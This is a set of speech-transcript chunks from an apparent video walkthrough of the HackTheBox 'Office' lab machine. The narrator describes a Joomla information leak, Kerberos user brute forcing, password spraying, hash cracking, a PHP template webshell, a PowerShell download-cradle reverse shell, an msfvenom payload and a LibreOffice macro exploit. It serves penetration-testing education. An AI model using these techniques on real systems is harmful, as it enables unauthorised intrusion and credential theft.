Add HackTheBox_-_Office.jsonl
Browse files- HackTheBox_-_Office.jsonl +58 -0
HackTheBox_-_Office.jsonl
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{"text": "what's going on YouTube this is ipag I'm doing office from hack the box which is a hard Windows machine that has a lot of steps seriously the hardest part about this box is all the Recon you have to do each of the exploits isn't too technically hard but they can be hard to find it starts off with a jumet information disclosure that gets you the MySQL password and you can pair that up with a Cerros brute force on active directory using Cur root to get potential usernames that let you log into a file share that file share has a peup file that has a cur brose handshake that you can L craft a hash in order to crack it and then once you crack that you log into jumla you can get a Shell through editing the template and on the box you discover another website that you can uh upload resumés to you can upload a liberty Office document get", "start": 0.12, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 2 |
+
{"text": "code execution through an exploit or enabling macros through editing the registry then you log in as a different user you can get a credential through dappy that lets you log in as a user that has um group policy management privileges I know that's a lot so let's just jump in as always we're going to start off with the end map so- SCC for default scripts SV enumerate versions dvv for double verose so we have the TTL and things like that OA output all formats put in the end map directory and call it office then the IP address of 101013 this kind take some time to run so I've already ran it looking at the results we have 12 ports open the first one being DNS on Port 53 and its Banner tells us it's simple DNS plus and knowing this is a Windows box as other banners have told us uh we go straight", "start": 45.44, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 3 |
+
{"text": "down look at ldap and confirm this is a active directory server but let's keep going down the list we have HTTP on Port 80 and interesting enough it's not running IIs it is running Apache httpd 246 and normally when you install Apache you're using a program called xpp and very very recently there was a vulnerability in that if we just Google um xam m P um what is it PHP Windows exploit it's from orai um the server is not going to be vulnerable but it is something I would definitely look into uh thought it was on like the whz site or something we do whiz here we go wiz. this has a lot of good information about it I think the reason why it's not vulnerable is you have to have a different language set installed such as Chinese simplified Chinese or Japanese um the only language set is English so it's not vulnerable to it um at least to my knowledge you this is definitely", "start": 93.04, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 4 |
+
{"text": "something that's good to read and there's also a proe concept exploit if you wanted to run this uh but we can confirm it is not going to be vulnerable I guess we can try running it just for a peace of mind so if we go into this if we look at how to run it um we give it- C and then the PHP system syntax so we're injecting this code into the web server and this is the URL so let's do python 3- C I'm going to do a PHP system we'll do ping 101148 so we ping ourselves and then let's do the target HTTP 101013 and then we can set up a TCP dump and see if this works and this is how I would go about just testing it uh first um I don't know oh we didn't specify the python script there we go and it says exploit may have failed um we could add the DNS name just in case that matters so we can do 101 113 office. htb and then try it again so", "start": 158.319, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 5 |
+
{"text": "let's now change the url to be office.", "start": 232.92, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 6 |
+
{"text": "htb and it does look like it's vulnerable um we could take a look at the exploit script itself to see kind of how it's working so we get the URL then we're adding percent a this is I think some type of quotation mark or hyphen in the different language the percent ad is critical to like the Japanese Chinese uh language set and then just adds the PHP command in it and it adds Echo and if Le is not in the response then it dies so that is exactly how this is working um but it's not vulnerable I'm assuming it's not vulnerable because of the language set so let's go back to end map and see what else we have there is ceros on Port 88 now we have some SMB stuff ldap uh we have a domain name or dc. office. htb so let's go ahead and add this um pseudo V ety host DC okay go to the next Port we have", "start": 238.159, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 7 |
+
{"text": "443 this is just looks like Apache um looks slightly different because it's just a forbidden according to end map so let's just try htps office. htb see what happens here we go to Advanced accept and we just get a forbidden so there's a different site here I believe um if we went back up to Port 80 it is running jumla right so if I just did HTTP instead of https we get the jumla website so something odd is going on there after 443 we have SMB on 445 I don't know what 464 is it's proba some Cur Roose thing uh ldap and that is about it so let's go and take a look at the website I guess we know this is jumla because end map did tell us if we went to like robots.", "start": 310.96, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 8 |
+
{"text": "text um it tells us is jumla and if you watch a lot of my videos there is um a way to enumerate jumla version I always forget the path it's if you Google jumla administrator manifest there's an XML document called like manifest.xml it's under manifest files jumla XML that's it uh manifest there we go and this is going to give us the jumer version so we have 427 so I'm going to Google jumla 427 exploit and we can see there are a few and let's see I was looking for one like on GitHub this looks like it is probably met exploit because it's in Ruby but we have covered this exact cve before um maybe this is a proof of concept and the one we did it in is Dev Vortex I want to say uh let's see jumla yeah it was 426 um in that one but if you want to look more in this exploit go to Dev Vortex where we do it all manually and explain it probably a bit", "start": 369.16, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 9 |
+
{"text": "better than I'm going to do now but let's just go and run this essentially it is a a um forgetting blanking on the word right now get clone it is a idor vulnerability essentially um I think it like insecure direct object reference is what it stands for but um there is a API endpoint in jumla that is not properly um requiring authentication when you specify um the variable and as I say that remember it's not an idor it's a mass assignment vulnerability because if we go in this exploit um we have to add public equals true and the mass assignment converts all the end points to be public as long as we add this argument definitely go check out the dev Vortex video if you want to see more of that but let's just go ahead and run this exploit uh let's do- HTP office.", "start": 444.68, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 10 |
+
{"text": "HTP and let's check if the thing is vulnerable and it hits a bunch of end points does find one that has a password so you may think if we just chake this password we go over to the jumla login and we should be able to log in with this password if we do administrator and we can't so if you want to see exactly what this is um I guess we could edit the script let's see what does it say uh password if I search for no no usernames let's see green okay let's just do a console print and we want to extend the URL what is it um Target plus path I'm looking right up here how it does the get and then we will run this exploit again and look at the URL it actually queries so we're getting the application config so if we go here we look at this and Let's see we have my SQL application the host name is Local Host user root and then the password here so all we're doing", "start": 506.56, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 11 |
+
{"text": "here is looking at the MySQL config and that is the password for the MySQL user um if we look at the um info up here there's only one username on jumla and that's administrator so we have to figure out exactly what to do with this password it's probably going to be used somewhere else in this box and if we went back to the end map results this is a domain controller right so the first thing I would do is see if I can do a um RPC Brute Force because that's the best way to blindly enumerate usernames on a domain controller so we have to get some type of authentication to the DC this way so I'm going to just try uh user of guest and a password and see if we get a successful authentication um it takes a little bit I wonder if I should just do two of these simultaneously so we have guest account disabled uh we can say does not", "start": 581.6, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 12 |
+
{"text": "exist try this see if we can get any way to get the DC to give us um access occasionally it's configured that allows Anonymous users access to the DC and if it does then we can do the rid Brute without any type of credentials but it doesn't look like we'll be able to here so the other thing we can do is something called um curb rout or brute forcing through curro pre-authentication I want to say is how it does it um but through the curos protocol we can validate if a user exists or not um the benefit to the rid brute force is we can just do it based upon numbers we just specify like the uid of 1,00 1,1 1,00 to 1003 and we get the username correlated to that uid um with curb root we have to actually know the username so it's not as good at um just blindly enumerating but if you give it a large enough word list you can get a lot of usernames so we're going to do curb root user an", "start": 646.0, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 13 |
+
{"text": "we'll specify the DC which is 101 113 then the domain office.", "start": 707.72, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 14 |
+
{"text": "htb and then we want to give it the username file so I'll do opt um SEC list usernames and then that Z 10 million usernames and I'm also going to specify 100 threads so it goes a little bit quickly uh usernames do text there we go and we probably need a out file as well that is- l so I'm going to give it- o we'll say curb root. out it did not like that Das should be output I don't know why I wonder if it doesn't have permission um let's go htb office Cur root. out there we go I guess that's just a poorly handled error message uh if we looked up maybe it says okay yeah Panic open curb r. out Miss denied so here we're just validating usernames we have two right off the bat Windows is not case sensitive so we probably could speed this up by U making this word list um all lowercase but we have quite a few usernames right off the", "start": 714.8, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 15 |
+
{"text": "bat this is probably going to take like 15 minutes to run so I'm just going to periodically take this username list and we can spray it with the password we got from jumla which we probably should copy to creds or let's just call call it passwords do out uh that's the wrong clipboard there we go so let's see uh we want to get all those usernames if I cat Cur root. out we can pipe this or we can GP on valid and then we say a print let's see one two 3 four five six seven okay and then let's just split on the at sign cuz we only want the username we don't need the whole domain and we can say usernames do text there we go so now we want to spray with that password so let's do a um nxc SMB 101013 and then - I'm going to give it the usernames do text the password I think we can give it just passwords out that should just work fine um and then", "start": 796.279, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 16 |
+
{"text": "I'm going to give it continue on success just in case there's multiple users that this password goes to so let's see if it starts cranking so we got password failures it looks like d wolf uh we can access so let's uh do username as DeWolf and then let's see what we have it doesn't say pwn so we can't just um like PS exact to it DeWolf is not an administrator there but looking at the shares we can see we have a sock analysis we could have also done um it's like like R ID Brute from here because now we have a valid credential if we wanted to get other usernames quickly um this should work right as long as the flag is rid Brute so this is another way we could get um usernames we have a web account as well um I don't think tstar has been shown but yeah so let's see we had shares there is this sock analysis so we want to be able to read this so let's do a uh SMB", "start": 868.639, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 17 |
+
{"text": "client - capital u d wolf 10 10 113 sock analysis like that and the password it's a domain controller so we don't need to worry about the um domain name we probably should do office. htb backd wolf but domain controllers you don't have to specify the domain at all so looking at this there is a pcap file so so let's just do a get on this and then let's examine what's in this speedcap so we'll do wire shark latest system dump. pcap and normally the first thing I would do it's not going to be beneficial on this box because um the hash that's in it is not supported maybe in the future we'll play with adding it but I like running a tool called preds against peaps whenever I get it you can just look at the GitHub here and run it um that would probably be my first step if I was going in completely blind uh but let's look at wire shu to", "start": 955.959, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 18 |
+
{"text": "see exactly what type of traffic we have there's some DNS stuff uh that is business being so that's not interesting so let's see let's look at SMB see if there's anything interesting here it doesn't look like too much I hoping to see like maybe a authentication or user or like file transfer I don't see anything um we can look at ntlm SSP this is another just authentication we can look at the SMB header I don't see like a username here so that's probably not going to be beneficial to us uh we can also check cobos and look at this so this is the request CPA data request body and this kbgt this is the s name which I think is server name this is where we're authenticating to if we look at C name this should be S so T STK so we have potentially the handshake of T Stark if we look at encryption type this is going to be encryption type 18", "start": 1028.48, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 19 |
+
{"text": "and Peak RS I think supports 23 not 18 but it's not hard to manually create these hashes as long as you have the encrypted Tim stamp which we don't have it would be right here so this is the request if we go to the second packet though we have the encrypted timestamp and if we look at the value we have this right here and this is going to be key for generating um the hash that hashcat will use to be able to crack this so let's go Google um hashcat example hashes to see how to format this so let's see how is the quickest way to find this probably if I search for k orb uh let's see so if we look at this this is the most common one the as uh request preo I'm going to search e type 18 and we have a t pgs rep right here and this is what we want I believe maybe there's other e type 18 so it's either a TGs or", "start": 1109.72, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 20 |
+
{"text": "preo or DB let's see I'm guessing it's going to be actually uh pre-authentication encryption type 18 so let's go and and grab this I'm going to go I'm just going to call it hashes and this is going to be example and we want to paste this so whoops and by paste I just meant like Creator own so we leave 18 so this one is going to be the username so that was what T shark let's go back to wire shark where is C name t Stark not shark probably Tony Stark because the whole jumla was Avengers themed and then we have hashcat domain.com let's call this office. htb that's just the domain name and then this piece is going to be the actual hash or the encrypted Tim stamp so let's go and grab the encrypted Tim stamp there we go copy value and paste so this should be the hash for Tark so let's go over to the", "start": 1182.08, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 21 |
+
{"text": "Kraken which is just another machine on my network because I don't want to run hashcat on my VM that I'm using to record videos and stuff because it's very CPU intensive and you should probably never use hashcat on um your VM it should always be on bare metal so let's go and create office we can paste this hash in and then we can say slash cat U hashes office and what do we when to give it as a word list opt wordlist rocky. text and it seems like it is going away and let's see we have recovered one out of one so if if I add a D- show we can see it got the password as Playboy 69 so now we have Tony star's password so let's try this against jumla so I'm going to go back to the administrator page and then we'll say t Stark put in that password did not work let's try administrator with this maybe Tony is the person that set up jumla and he is and I should have", "start": 1272.159, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 22 |
+
{"text": "done that known that before because when we're doing this whole enumeration thing with the jumla exploit there was only one username and that was administrator right so that's why we definitely couldn't use Tony Stark so uh let's go and find where the template is because the quickest way to get rce once you're on a CMS is to look at the templating um area because most CMS have it and then just edit a PHP script so I'm going to edit offline. PHP and we just want to make sure we can find this so let's see it is HTTP office htb it's in templates and then copia and we said offline. PHP okay so let's just make sure we can um get code execution so I'm going to do it if is set and then request CMD and the reason why I do this is if you don't put this if then and then just do the system command like system request", "start": 1354.2, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 23 |
+
{"text": "CMD um if we just did this then the page would erir if anyone hit this um offline. PHP because it can't find this variable right and you never really want to do that because it just tells everyone how to execute code also like if you doing it on index.php then the error message could just take down the website so it's always best to put it in a if is set first so let's save this and now we can just do CMD equals who am I and it did not work let's see if is set request CMD maybe it didn't save by the time we exed it U something wonky is going on let's see if is set PHP need this I don't think so let's do an echo as well see I am offline it's not cached let's see I definitely created an error there okay so I'm not sure why it didn't work before when I just had this but we have code execution awesome so let's go ahead and send this over to", "start": 1429.88, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 24 |
+
{"text": "burp Suite so we can quickly get a reverse shell uh let's go proxy intercept is on send this go over to repeater convert this request and now I need to create a web cradle so what I'm going to do is make a directory dubdub dub and then let's copy opt um or CP user local where's Nang um is it user share Nang shells Powershell or invoke Powershell PCP one line PS1 and we probably should rename this to just shell.", "start": 1545.919, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 25 |
+
{"text": "PS1 and let's see let's delete that and then edit the IP address to be ours so 10 10 148 and I always like sending it to Port 90001 so what we have to do now is set up a web server and then we can go over here and do a Powershell ex new object net.", "start": 1596.279, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 26 |
+
{"text": "webclient download string HTTP 10148 Port 8000 shell.", "start": 1623.279, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 27 |
+
{"text": "PS1 NCL lvmp 901 send the string and we see a get and then the connection come through I think if we used a double quote it actually wouldn't work let's just test out um I know people sometimes have trouble with this um I have a vague memory of this being very like quote specific right you can see the double quote is not working um wonder if I URL encode this let's just go convert selection URL all characters sure no so you definitely want to use single quotes with this so if you're you're just out of habit using doubles is not going to work um or maybe there's a cron that is reverting the template maybe that's what got me earlier let's just turn BPW Suite off refresh let's save this refresh okay maybe that's it so double quotes do not work let's convert selection URL all characters still nothing let's go back to single", "start": 1635.24, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 28 |
+
{"text": "quotes and that's definitely taking longer to get our shell now I forgot to do one thing that I always like doing and that is setting up our l r so I can have the up and down errors with my shell so let's go do that again and now we have a shell as who are we the web account so the first thing I always look at is just a who am iall or SL prives because the main thing I want to see is if we have SC impersonate normally when you exploit a web service you'll have this on a Windows box here we don't but if we had it we could use one of the potatoes to quickly escalate to Route um the other thing we'd look at is just the members we are or the groups um looking at this quickly I don't really see any groups that really stand out right so when we first did this or when we first accessed the box there was", "start": 1727.64, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 29 |
+
{"text": "something on like https office. htb and that was forbidden so I want to see what else there is on this web server normally I would um go pillage like the Juma config and look for the password that is my SQL but we already got that from that one Juma exploit right so I'm going to to go in SE calling zamp HD docs and then we have a administrator directory internal and jumla so these are probably three different sites um one of these is probably going to be the https and there's a logs directory one error PHP I don't know what this is uh don't have an account so jumla is writing logs here for whatever reason um is that on this what is logs doesn't look like that's coming back so I really don't know what administrator is and looks like my session is not active uh can we ping it ping 10 10 113 looks", "start": 1780.039, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 30 |
+
{"text": "like maybe my VPN had died looks like it did okay sweet my shell is still alive that is a miracle we go to internal logs I did ASD it is also forbidden so that wasn't like a 404 um if I did ASD and got a 404 then I know I was definitely in that administrat directory but I don't um looking at internal we got resume. PHP if we look at this um don't know exactly what this site is and I can't make sense of the the HTML uh we have PHP here it's looking at the file name allowing us to upload Word documents and open Office documents and it's all we can really make sense of let's go look at the examp config or the Apache config I should say so if we look at the Apache config it's probably going to be httpd.conf no not in the config what was the other one internal there we go so we can see there is a virtual host on Port 8083 pointing to cing zamp HD docs internal", "start": 1849.799, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 31 |
+
{"text": "but we didn't see this on our end map it could be that 8083 is not in the top 10,000 so we didn't scan it so let's go take a look 10 103 8083 and it doesn't look like we can connect to this port so we have to use chisel in order to access it so I'm going to go in program data and then we're going to upload chisel um let's go CP op chisel chisel exe and we can go download this so Python 3 mhtp server WG HTP 101048 8000 chisel exe and then let's see while that runs I guess we can set up the server so let's do chisel uh specify the server we want to allow reverse foring and we'll start on Port 801 so now let's connect to us so we can do chisel exe client 10 1048 or 801 we going to do a reverse port forward on 8083 and then we're going to send everything through that to this chisel application and on the other end we're gonna say it goes to 1271", "start": 1931.24, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 32 |
+
{"text": "8083 and there we go we have the proxy up so now if I do 1271 8083 we can see what that internal page is all about so if we go over to this submit application we can upload documents so if we did IPC root ic.", "start": 2013.279, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 33 |
+
{"text": "rocks and if we had a open Office document we could upload it here and supposedly someone would be opening this right we can choose the department we want to um go in so let's see we probably should get another shell so let's do that real quick NCL lvmp 901 let's go here save bur sweet send we have a shell so what we want to do is um see what version of open office and um Microsoft Office areen installed is it like wyc query products no uh let's see Powershell list installed software let's see get wmi object class 132 project that is not doing anything I wonder if it's because I'm in this like weird shell um let's see is there like a program data is it program one where is open Office going to be installed at I did not do um our L WP so I don't have my up errors is it going to be in like license. text could it be", "start": 2035.84, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 34 |
+
{"text": "here there's got to be a way to look at the version um let's just use wipes wipes will help us out so wipas GitHub or we probably have it on our box already opt wipas it's probably P's opt pe's winp x64 because wipas will tell us um all the software installed so we can do W get HTP 10 10 14 8 8,000 winp x64.exe we'll just call it win.exe because that's easier to say Let's see we are downloading it so let's execute this and it doesn't look like it's giving us the output as it runs I wonder if I like did a two one when I did like a um whatever it was I'm trying to say the get wmi object if we would then show I think something odd is going on with like standard out but we have some things this doesn't look like it's a full output of lmpas or win pece definitely not the full output weird we just must be in a really really odd", "start": 2148.56, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 35 |
+
{"text": "shell I'm trying to see that error message okay so let's switch to a different user and then we'll run um win peas so let's go CP her locate run as cs. exe this is the easiest way to switch users on Windows is just getting this net program if you just Google runss you can find it on GitHub but let's download this 10 1048 8000 run as CS exe and then we can get a shell as Tony Stark uh let's see net user t struck does exist so let's go slash run as cs. exe tstar uh his password was Playboy 69 CMD 10 10 148 901 does it get us a shell it does not because I probably screwed up the syntax somehow and that is not timing out either let's get a shell again okay let's see run cs.", "start": 2265.319, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 36 |
+
{"text": "exe T Stark Playboy 69 CMD exe I forgot the dash R let's do RL R there we go so let's see if I do power shell do I get my shell I do I want to If this just magically works now get wmi object class 132 product it's taking longer which is a good sign I think my VPN died again nope there we go see I have a feeling that I hung that one shell so I'm getting a second shell and we're going to run wipas as this user okay so as this runs I'm going to pause the video and we'll resume when this is done hopefully win peas has more output than it did the last time and it doesn't look like we got much more information from this um not exactly sure why it's failing but we do have a error message now requested registry access is not allowed so we do a Who Am iall let's see what groups we are here's a privileges see what else do we", "start": 2370.2, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 37 |
+
{"text": "have oddly enough we have this registry editor group it's odd that wipas is complaining that it can't access the registry but okay so it looks like the um uh command we did here this get wmi object did finish so if we look at it we can probably find out now what version is so we have Liberty office 5262 installed so if we go here and we Google exploit liy office 5262 we can see there are multiple vulnerabilities see there should be a GitHub as well so let's just clone this repository and we'll see how this exploit works so if we do get clone uh let's see this is cve 2023 23 this one and let's see does a check vau that's this is the wrong one that is the jum I was like how do we check with the macro in a Office document and there's actually two ways to exploit this box um we're doing this way first this is slightly unintended and then we'll do the other way after this so if we look at this it's looking", "start": 2503.64, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 38 |
+
{"text": "at the temp content.xml file and replaces the word payload with what we want so let's look at exactly how this works so if we go in samples let's extract let's make temp uh 7zx to extract open Office documents are just Bunches of XML we go in content on XML let's look for payload and the actual cve is pretty much this um the document is HTML and apparently if we just add script event listener uh tell it it's a open Office script and then put macro shell in a command it actually runs that command which is kind of surprising um you can look up more about that cve but this is the gist of it it's just injecting a script object in the content portion of the open open Office document and then uh telling it it's a macro and this actually works if open Office macros are disabled because it's not this standard way it runs a macro um the", "start": 2592.44, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 39 |
+
{"text": "intended way is to take the registry editor permission we have and change the registry to enable macros in Open Office so that's why I'm doing it this way first to show that this works um even if they aren't enabled if they're running an out ofate version of open Office so let's do r- RF on Temp and let's create this so let's do Python 3 cve uh what do we do D- CMD uh let's see let's do a Powershell uh we can do power shell encoded command and let's take what we have here um wonder if this is going to work we can try this temp let's put this here and let's see let's cat temp icon convert UTF 16 little Indian a64 w0 we'll grab this I'm actually not sure if we can just draun Powershell in this exploit let's do D Das output I was doing a double take right there because I was like wait they're just doing WG they're in Powershell but this", "start": 2664.48, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 40 |
+
{"text": "is probably expecting open Office to be ran on a Linux machine so that's why it's like that so let's see we created a document we have that running let's just start a shell I'm going to stay on this screen to see if anything hits us and we can go Local Host 1271 8083 through a chisel and we can upload our document that we just created so let's do htb and then let's see what do we call this office and then this one and exploit ODT so we can upload the resume and it'll probably take a minute or two for that to actually run so while that goes I always like doing something in the background instead of just waiting around so I'm going under the assumption that um the PO shell command didn't work we're going to get a second way to get a reverse shell just in case like a few minutes pass and we don't have it uh we", "start": 2769.319, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 41 |
+
{"text": "can upload something else so I'm going to use msf venom for this so you can do msf Venom DP uh Windows x64 shell underscore reverse TCP then we can say l host is equal to 10 1048 L Port is equal to 90001 formats exe output is shell. exe so this is just creating a quick executable that we can just um put on the document and get it run running that way just in case um we never get a call back here so we have shell. exe there that's in dubdub duub so we can go back to program data W get HTP 10 10 148 90001 or 8,000 shell EXE okay so now we can do the python cve thing again and let's see let's go this and we'll get rid of all this and we're just going to do c colon program data shell. exe that is a lot less ctors and since it's just a binary it has a higher chance of working we probably should call it like", "start": 2843.48, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 42 |
+
{"text": "exploit 2. ODT let's go back browse exploit 2 and let's move that web server where is it to pain five okay so we'll upload exploit 2 and let's see we can probably what was it examp HT docs internal di applications so we can see this is probably the application we have just uploaded um give it a minute to see if it disappears but also I'm just going to pause the video and look at this screen if I see um at downloading shell. PS1 then we get a shell we know the Powershell command macro worked if we just get a shell and it doesn't do anything up here we know it executed the executable and if it does NE we know we have to go back and figure out um where we screwed up right it'll probably be how we generated it I don't know which pain I generated on if we still have that doesn't look like we do but yeah that's what we're going to do", "start": 2946.92, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 43 |
+
{"text": "I'm going to pause it and we'll wait I only wait three um five minutes so hopefully it doesn't take that long and soon as I hit the stop record button we got our shell if we look at it we are now the pts user um I do want to take a step back though and show that we didn't have to use that Liberty office exploit because our previous user um T Stark was a member of the registry editor group I want to say if we do who am I slash um let's just do all there is a custom group that enables us to edit the registry and I say it's a custom group because it's off off backslash so I think they just created this registry editor group I've never seen it before um but I'm pretty sure it's custom and it they just gave this user permission to edit the registry and because they can edit the registry that means they can enable um", "start": 3045.2, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 44 |
+
{"text": "macros so they can change the security level so if we just Google um open Office macro security level registry I think that would tell us what we need to do let's see is that here oh right here this one so here we have um a listing of the values right here's the key under either hkey locom machine or current user you set macro security level zero is going to be low one is medium two is high and three is very high so let's take a look at what our macro security level is currently set at so we probably should copy this and we can say uh what is it registry query hkey local machine like that and we can see it is set at three so that is high so we can do regge and then add let's send the same exact thing and copy paste and then we can say SLV we want to set the value and it's a dword I believe we'll", "start": 3103.52, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 45 |
+
{"text": "set it to be zero and I'm going to do this slf to force we're going to query it again we see the value is set to zero so now we want to create a uh document um and to do the very quick way I'm just going to use metas so we're going to do pseudo um msf DB run and this is going to uh just make it easier if you want to manually create a macro and open office if you go to ic. ro I'm sure there's a video that we do that however it would probably take an extra like 10 minutes to do it that way whereas we can just do use exploit multi miscellaneous open Office macro and pretty much have everything done for us right if we do show options uh let's set the payload to be Windows x64 interpreter reverse TCP see set L host to be ton zero and I think that's pretty much all we need to do right the file name can be msf. DT that's fine uh we probably have", "start": 3195.96, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 46 |
+
